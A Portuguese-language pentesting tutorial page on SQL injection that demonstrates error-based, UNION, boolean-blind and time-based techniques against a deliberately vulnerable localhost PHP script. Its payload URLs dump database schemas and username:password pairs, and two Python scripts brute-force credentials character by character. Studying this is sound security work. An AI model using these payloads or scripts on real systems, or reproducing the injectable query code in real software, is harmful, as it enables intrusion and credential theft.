> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md).

# Técnicas de SQLi

## Injeção SQL baseada em erros

> A injeção SQL baseada em erros explora os erros no código SQL para obter informações. Por exemplo, se uma consulta retorna um erro com uma mensagem específica, essa mensagem pode ser usada para obter informações sobre o sistema.

* O arquivo PHP de um site vulnerável à injeção SQL baseada em erros terá uma estrutura semelhante:

```php
<?php
	$server = "localhost";
	$username = "jordan";
	$password = "passwordDB";
	$database = "Jordan";
	// Conexão com o banco de dados
	$conn = new mysqli($server, $username, $password, $database);
$id = $_GET['id'];
$data = mysqli_query ($conn, "select username from users where id = '$id'") or die (mysqli_error($conn));
$response = mysqli_fetch_array($data);
echo $response['username'];
?>

```

Verificação da vulnerabilidade por meio da execução de um **sleep** na URL:

```bash
http://localhost/searchUsers.php?id=3' and sleep(5)-- -

```

Para determinar o número de colunas, use **order by** até não receber mais erros idênticos:

```bash
http://localhost/searchUsers.php?id=3' order by 4-- -

```

<figure><img src="/files/83ee6f956c5343a5f228acac20e1548881eec00e" alt=""><figcaption></figcaption></figure>

Uma vez conhecido o número de colunas, use **union select** para verificar a vulnerabilidade:

```bash
http://localhost/searchUsers.php?id=3' union select 1-- -

```

Se a etapa anterior responder com o ID, use um ID que não exista e **union select** para obter o nome do banco de dados atualmente usado:

```bash
http://localhost/searchUsers.php?id=19928282' union select database()-- -

```

Para listar todos os bancos de dados existentes:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(schema_name) from information_schema.schemata -- -

```

<figure><img src="/files/55014fa73a205497c1a0ab4126a0f02e5b8fbf90" alt=""><figcaption></figcaption></figure>

Depois de saber os nomes de todos os bancos de dados, use o nome (Jordan) para filtrar e visualizar a tabela:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(table_name) from information_schema.tables where table_schema='Jordan'  -- -

```

<figure><img src="/files/9df70345f97b88fc9b2624f3b84fe604b3d308ad" alt=""><figcaption></figcaption></figure>

Da mesma forma, com a tabela "users", você pode visualizar as colunas:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(column_name) from information_schema.columns where table_schema='Jordan' and table_name='users' -- -

```

<figure><img src="/files/aff18237d809944314805cd8553946abb6015e74" alt=""><figcaption></figcaption></figure>

Para listar as colunas (usuário e senha):

```sql
http://localhost/searchUsers.php?id=19928282' union select group_concat(username) from Jordan.users -- -
http://localhost/searchUsers.php?id=19928282' union select group_concat(password) from Jordan.users -- -

```

<figure><img src="/files/323f971b7436405e99435aa7f5c09fa571c162c2" alt=""><figcaption></figcaption></figure>

Para visualizar o conjunto completo:

```bash
http://localhost/searchUsers.php?id=19928282' union select group_concat(username,':',password) from Jordan.users -- -

```

<figure><img src="/files/3a8ce7d40f34876c5f2cacb72ba619ce2c812f11" alt=""><figcaption></figcaption></figure>

## SQL com sanitização "mysqli/\_real/\_escape/\_string"

Em muitos casos, o código PHP faz uma pequena sanitização com **mysqli/\_real/\_escape/\_string**. No entanto, isso pode ser contornado se as aspas forem colocadas incorretamente no ID.

```php
<?php
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query ($conn, "select username from users where id = $id");
?>

```

Neste caso, você pode fazer a mesma operação sem precisar de aspas simples:

```bash
http://localhost/searchUsers.php?id=9983 union select database()

```

## Injeção SQL baseada em booleanos ou em tempo:

> A injeção SQL baseada em tempo usa uma consulta que leva muito tempo para ser executada a fim de obter informações. Por exemplo, se uma consulta realiza uma busca em uma tabela e um atraso é adicionado à requisição, esse atraso pode ser usado para obter informações adicionais.

***

> A injeção SQL baseada em booleanos usa requisições com expressões booleanas para obter informações adicionais. Por exemplo, uma consulta com uma expressão booleana pode ser usada para determinar se um usuário existe em um banco de dados.

***

Há muitos casos em que um site redireciona para uma página **404 Não encontrado** se o ID indicar que ele não existe. Aqui está um exemplo de código com a função **http/\_response/\_code**:

```php
<?php
if (! isset($response['username'])){
	http_response_code(404);
}
?>

```

Exemplo visual do código de status **404 Não encontrado** e **200 OK** por **curl** se uma consulta estiver incorreta ou correta:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9"

```

<figure><img src="/files/ac508838488181ba4be1033158b7bab4078cbfde" alt="" width="563"><figcaption></figcaption></figure>

Assim, para um ataque cego, duas técnicas podem ser usadas: as condições ou o tempo.

### Injeção SQL baseada em booleanos

Envie uma consulta tentando com um ID que não existe **ou se 1 = 1**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=100000 or 1=1"

```

<figure><img src="/files/8a6b584a265a7d0fc031d1f76d24ade5f1a57d4e" alt="" width="563"><figcaption></figcaption></figure>

Com o script Python abaixo, você pode explorar essa falha de segurança para acessar o banco de dados. Neste exemplo, o script recupera os nomes de usuário e as senhas (o arquivo deve ser modificado de acordo com a URL, os nomes das tabelas, colunas, bancos de dados etc., como mostrado anteriormente, modificando a variável **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saindo... /n")
    sys.exit(1)
# Técnicas de SQLi
signal.signal(signal.SIGINT, def_handler)
# Técnicas de SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Força bruta")
    p1.status("Início do processo de força bruta")
    time.sleep(2)
    p2 = log.progress("Dados extraídos")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or (select(select ascii(substring((select group_concat(username,0x3a, password) from users),%d,1)) from users where id = 1)=%d)" % (position, character)
            p1.status(sqli_url)
            r = requests.get(sqli_url)
            if r.status_code == 200:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/4be7ba1b879fe0943b3b74d064a3dc7b38abcf90" alt="" width="563"><figcaption></figcaption></figure>

### Injeção SQL baseada em tempo

Envie uma consulta tentando com um ID que não existe ou **sleep (0.35)**:

```bash
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=1000000 or sleep(0.35)"

```

Com o script Python abaixo, você pode explorar essa falha de segurança para acessar o banco de dados. Neste exemplo, o script lista o nome do banco de dados (o arquivo deve ser modificado de acordo com a URL, os nomes das tabelas, colunas, bancos de dados etc., como mostrado anteriormente, modificando a variável **sqli/\_url**).

```python
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Saindo... /n")
    sys.exit(1)
# Técnicas de SQLi
signal.signal(signal.SIGINT, def_handler)
# Técnicas de SQLi
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
    p1 = log.progress("Força bruta")
    p1.status("Início do processo de força bruta")
    time.sleep(2)
    p2 = log.progress("Dados extraídos")
    extracted_info = ""
    for position in range(1, 150):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1000000 or if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (position, character)
            p1.status(sqli_url)
            time_start = time.time()
            r = requests.get(sqli_url)
            time_end = time.time()
            if time_end - time_start > 0.35:
                extracted_info += chr(character)
                p2.status(extracted_info)
                break
if __name__ == '__main__':
    makeSQLI()

```

<figure><img src="/files/86111b1fff8b1cf2ebe493a553a2039bc08f1807" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
